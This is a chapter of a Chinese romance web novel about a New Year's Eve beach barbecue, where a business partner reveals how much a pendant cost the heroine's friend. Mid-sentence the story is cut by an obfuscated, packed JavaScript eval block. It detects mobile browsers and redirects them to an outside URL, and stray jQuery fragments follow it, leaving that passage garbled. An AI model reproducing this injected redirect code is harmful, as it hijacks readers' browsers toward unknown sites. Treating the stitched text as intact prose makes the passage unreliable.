转眼半个月过去,许念额角那片淤青消下去大半,颜色淡了,范围小了。
“许小念,你就算把镜子看穿,它也不会突然消失。”
许凛前天到的家,此刻正窝在沙发里玩新出的手游,闲暇之余瞥了眼对镜看了半小时的妹妹,懒洋洋调侃过去。
许念丢去一个“要你管”的眼神,继续对着镜子左瞧右看。
听到对话,坐在沙发另一侧复盘期末试卷的鹿玙抬头看向许念,许念正鼓着脸,满目忧愁,鹿玙下意识弯了弯唇,“别担心,再过几天就会好,不会留到除夕那天。”
鹿玙简直就是她的贴心小棉袄。
许念满意地放下心,也放下镜子,欢欢喜喜蹦到冰箱旁,回来时,左右手各攥了几支糖葫芦。
嘴巴鼓鼓囊囊,含糊不清却也掩饰不了她的开心,“太幸福了,多得吃不完。”
鹿玙买回来糖葫芦的第二天,许凛回来了,糖葫芦从一份变成两份,冰箱保鲜的屉子满得再塞不下其他东西,许念当天就吃了个昏天黑地。
“哥,”许念咬着糖葫芦,凑到许凛身边,笑容灿烂,“除夕那天有活动不?”
许凛正在通关的关键时刻,头也不抬,“看你这样就没憋好事,想干嘛?”
“我们去……”
“不去。”
“我话都没有说完!”
“说完也不去。”
许凛毫无感情翻了个身,顺手戴上耳机。
许念“嘎嘣嘎嘣”咬碎糖衣,三两下吃掉一串,把剩下的码得整齐放在茶几上。
她绕到沙发后的空地,眯眼看向许凛正在操作的游戏界面。
人在干坏事的时候是不会嫌麻烦的,就像此刻许念,安安静静等到游戏即将通关的前一秒。
她一个箭步跨过去扯掉许凛的耳机,大喊一句,“我们去海边BBQ和看烟花!”
许凛手一抖,屏幕里的小人应声倒地。
“就差最后一秒!”
他气得瞪眼,丢下手机就去找许念,许念喊完就跳开了一丈远,在那得意地扭来扭去。
许凛看着她愤愤磨牙出声,“许小念你完蛋了!”
鹿玙不知道什么时候到了这边,在许凛要起身的时候按住了他的肩,“凛哥,我帮你通关。”
许凛狐疑地看看他,又看看gameover灰掉的手机屏,“你没玩过吧?”
鹿玙捡起沙发上的手机,重新启动游戏,“嗯,我先试几局。”
马上要鸡飞狗跳的局面顷刻又变得温馨。
鹿玙操作着游戏界面,许凛低着头,全神贯注盯着他灵活的操作,许念悄咪咪又摸到了两人身后,不出声看着。
三局之后,鹿玙熟练击败BOSS通关,许凛激动得捶腿差点跳起来,全然忘了刚刚许念捣蛋的事。
“真厉害,比哥强多啦!”站着太累,许念换了个姿势,现在趴在沙发靠背上,笑得见牙不见眼。
许凛这才想起“旧恨”,伸手捏住她软乎乎的脸颊,“许小念,你好意思说,要不是你捣乱,我早通关了。”
许念不甘示弱回捏,“哥,承认自己菜没什么丢脸的。”
许凛力道放得轻,许念可不客气,两人闹得家里吵嚷嚷,也热闹。
鹿玙看着兄妹俩,轻轻翘了翘嘴角,眼睛也浅浅弯了弯,又坐回之前的位置,继续复盘试卷。
-
除夕那晚,红红火火地吃过团圆饭,沈慈和许怀民就飞往大洋彼岸享受二人世界去了。
许凛说不去最后还是带着许念和鹿玙去了海边BBQ和看跨年烟花。
让人意外的是,凌澈在这时找了过来。
许念吊着一颗心,看两人在不远处交谈。今天是除夕哎,除夕!
在她心里,凌澈亲自找来,还是在阖家团圆的日子,准没好事。
她的思绪已经飘到鹿玙下一秒就要远航的剧情,凌澈却突然对上她的视线笑了一下,两人说着说着朝这边走了过来。
许念吊着的那颗心瞬间提到嗓子眼。
真有急事,也得等过完年再说吧。
“许小姐,好久不见。”
凌澈眼中已无初次见面时毫不掩饰的审视,取而代之的是礼貌的笑意。
丑陋的疤和沙哑的声音割裂不了这种骨子里散发出来的优雅和贵气,两种截然相反的气质在他身上奇异的相辅相成。
伸手不打笑脸人,许念也装腔作势礼貌一笑,“叫我名字就行。”
凌澈目光掠过她落到身后的露营桌,不请自问,“我去坐坐?”
许念选的位置视野极佳,她特意搭了天幕,挂了氛围灯,等着许凛租来烧烤架,三人就可以吹着海风,边吃烧烤边等跨年和烟花。
和预想的走向偏差有点大,许念脑子卡了会壳,随手指了个位置,“那你坐这吧。”
凌澈微微挑眉,长腿一迈,从容落座。
鹿玙低头轻声解释,“他来这边办点事。”
许念眨眨眼,若有所思地看向自来熟地在小方桌上挑挑拣拣的凌澈,犹犹豫豫小步小步把鹿玙拉到角落,悄悄问他,“和你有关?”
“和我无关。”
“那没事了。”得到肯定答复,许念瞥了眼自顾自开了一罐果汁的凌澈,忽然觉得这人也没那么碍眼了。
许凛带着人搬来烧烤架和满满几袋食材,一时没注意到多出个人,正指挥着摆放设备,转身冷不丁看见凌澈,忍不住骂了句,“卧槽,你谁啊?”
他左右扫了两圈,许小念和鹿玙人呢!?还是自己走错地方了?
他又后退几步,抬头确认天幕的颜色和形状。
没错啊!
视线落回到软椅上。
凌澈笑得不好看,但他还是乐意笑着打招呼,“许小姐的哥哥?你好,凌澈,算……”他顿了顿,“鹿玙他哥。”
许凛怀疑地挑眉,他怎么没听过鹿玙还有个哥?
许凛态度算不上很好,“他们两人呢?”
凌澈眯了眯眼,疏懒地朝右抬抬下巴,“玩去了。”
许凛望向那边不远处热闹的摊铺,退了几步,手插在裤兜,边拨电话边抽空打量眼看起来不像好人突然出现的凌澈。
好在电话接通,许念欢雀的声音让许凛的心落地。
鹿玙做项目的事,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17087444|193553||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
全家人知道,也知道他有一个远在京城的合伙人,许凛就是没想到,他这合伙人看起来就不是个和善的类型。
挂了电话,许凛走向凌澈,既然真是认识的,就当多交个朋友。
“凌澈是吧?我是许凛,许念她哥。”
凌澈看着伸来的手,哑声笑了笑,伸手握住。
-
烤架上的肉串滋滋冒油,香味窜入鼻尖,许念深吸一口气,咂咂嘴吞口水催促,“哥,好了没?”
许凛脱了外套,撸起袖子,和鹿玙一人系着条围裙,围着烧烤架翻烤、刷酱。
许凛抽了张纸抹了把额头的汗回她,“再等等,饿了你先吃点别的垫垫。”
凌澈舒适地靠在软椅上,目光落在认真烤串,时不时和许凛笑着搭话的鹿玙身上,像有感而发,“东城半年,鹿玙变了不少。”
许念嚼芒果干的动作停下,看看凌澈又看看鹿玙,圆亮的眼睛转了转,忽然双手托住椅沿,一点一点挪近凌澈,眼睛弯弯,笑出梨涡,“凌大哥,你应该知道他很多事吧?”
凌澈偏头,目光带着几分恶趣味,“不怕我了?”
许念指尖刮刮脸,她表现得那么明显?
许念装不懂,堆出一个更灿烂的笑,“您这是说的哪儿的话?”
凌澈鼻嗤哼了声,“普通话。”
……
许念“心平气和”地翻了个白眼,假笑一番打着退堂鼓,不抱希望慢慢挪回去,却听凌澈说起了她脖子上那条吊坠。
“多少?你说多少?”许念抖着手指向锁骨中间那条紫罗兰,怀疑自己耳朵出了问题。
“许小姐没听清?”凌澈扯了扯嘴角,又平静地说了遍,“158万。”
凌澈继续扔出重磅炸弹,“而他又为了拿下这条吊坠,把自己卖给我一年。签合同前就已经谈好,头年所有项目的收益,他那份全归我。”
凌澈观察许念的神情,语调慢斯条理,从容又带着商人的得利,“不然你以为,我凭什么大费周章从京城跑来东城跟他合作?”
许念张着嘴说不出话,缓缓转头,看向低着头,专注洒料的鹿玙。
她以为顶天十几万。
人怎么能疯成这样?
鹿玙这个傻狗到底会不会做生意!
许念心情复杂收回视线,喉咙发干不受控制吞了口唾沫,她伸手摸上颈间那片温润,指尖有些抖但又很小心仔细地将它塞进衣领,冰凉的触感却让她心里的火热更旺。
许念暗骂一句,真是傻得绝无仅有。
凌澈添完火,心情很好地饮了口果汁,又翻出许念买回来的小零食,拨开糖罐,选了颗红艳艳的糖丢进嘴里。
“许小姐于他而言可谓是重中之重。”他的目光意味深长地扫过许念,“连曾经和他并肩作战两年的吕静,都没这份殊荣。”
再一次听到吕静的名字,愤怒比难受先窜了出来,鹿玙那么好的人,吕静凭什么针对他欺负他。
许念强压怒气,压低声音为鹿玙鸣不平,“白眼狼要什么待遇!给个屁都算恩赐。”
凌澈挑眉,舌尖抵着糖低笑,“你不好奇鹿玙给过她什么?”